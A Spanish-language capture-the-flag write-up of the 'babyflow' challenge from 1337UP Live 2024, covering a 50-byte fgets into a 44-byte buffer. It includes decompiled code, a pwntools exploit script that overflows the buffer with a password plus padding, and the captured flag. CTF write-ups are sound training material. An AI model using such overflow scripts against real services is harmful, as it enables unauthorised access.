Este es uno de los retos de calentamiento de la 1337UP Live de 2024, competición en la que participé en solitario debido al poco tiempo que tuve. Igualmente, subiré writeups de muchos de los retos de pwn de la competición ya que me parecieron muy originales y entretenidos.
Overview
El enunciado nos dice:
Does this login application even work?!
Reconocimiento
Tenemos un binario que al analizarlo con checksec:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Comenzamos descompilando con ghidra:
undefined8 main(void)
{
int correct;
char password [44];
int control;
control = 0;
printf("Enter password: ");
fgets(password,50,stdin);
correct = strncmp(password,"SuPeRsEcUrEPaSsWoRd123",0x16);
if (correct == 0) {
puts("Correct Password!");
if (control == 0) {
puts("Are you sure you are admin? o.O");
}
else {
puts("INTIGRITI{the_flag_is_different_on_remote}");
}
}
else {
puts("Incorrect Password!");
}
return 0;
}
Parece que simplemente comprueba si la contraseña coincide con SuPeRsEcUrEPaSsWoRd123
y que la variable control
sea igual a cero. Por suerte, en la llamada a fgets
tenemos una vulnerabilidad de tipo Buffer Overflow (se almacenan 50 bytes en una variable de 44).
Explotación
Simplemente, podemos utilizar python y pwntools para enviar esa contraseña seguida de una cadena de A’s que desbordaran password
y llegarán a control
, cambiando su valor. El script sería:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
exe = context.binary = ELF(args.EXE or 'babyflow')
def start():
if args.REMOTE:
return remote("", 1336)
else:
return process('./babyflow')
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: PIE enabled
# Stripped: No
io = start()
payload = "SuPeRsEcUrEPaSsWoRd123"
payload += 100*'A'
io.sendline(payload)
io.interactive()
Si ejecutamos, tenemos la flag:
python3 ./autopwn.py REMOTE
[...]
[*] Switching to interactive mode
Enter password: Correct Password!
INTIGRITI{b4bypwn_9cdfb439c7876e703e307864c9167a15}
Si te ha gustado, puedes seguir leyendo el resto de writeups!